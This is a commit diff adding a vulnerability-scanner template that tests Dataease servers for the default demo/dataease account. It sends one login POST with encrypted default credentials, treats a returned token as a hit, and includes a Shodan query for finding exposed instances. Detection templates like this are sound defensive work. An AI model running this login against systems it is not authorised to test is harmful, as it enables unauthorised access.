Create dataease-default-login.yaml

http/default-logins/dataease/dataease-default-login.yaml

@@ -0,0 +1,44 @@
+id: dataease-default-login
+
+info:
+  name: Dataease - Default Login
+  author: DhiyaneshDK
+  severity: high
+  description: |
+    Dataease has a built-in account demo/dataease, and many developers forget to delete or change the account password. 
+    As a result, many Dataease can log in with this built-in account. 
+  reference:
+    - https://github.com/dataease/dataease/issues/5995
+  metadata:
+    verified: true
+    max-request: 1
+    shodan-query: html:"Dataease"
+  tags: default-login,dataease
+
+http:
+  - method: POST
+    path:
+      - "{{BaseURL}}/api/auth/login"
+
+    headers:
+      Content-Type: application/json
+
+    body: |
+      {
+        "username": "HmFJtDmMa9MZjlWEpCNAo7Yh/hRBI7mrCRfFTok7wES7qcpIJ04x0OQXW5fwtL4WtN29408wyAupmtMjvvXjag==",
+        "password": "sL+oQsnErJMYGiLyzXj/Hy2opaZcSnfjGtYtm48q8tdkkINxzTtAOFI2NgDoorchFE790vWQYIgo1CMyjJ2jnw==",
+        "loginType": 0
+      }
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        part: body
+        words:
+          - '"success":true'
+          - '"token":'
+        condition: and
+
+      - type: status
+        status:
+          - 200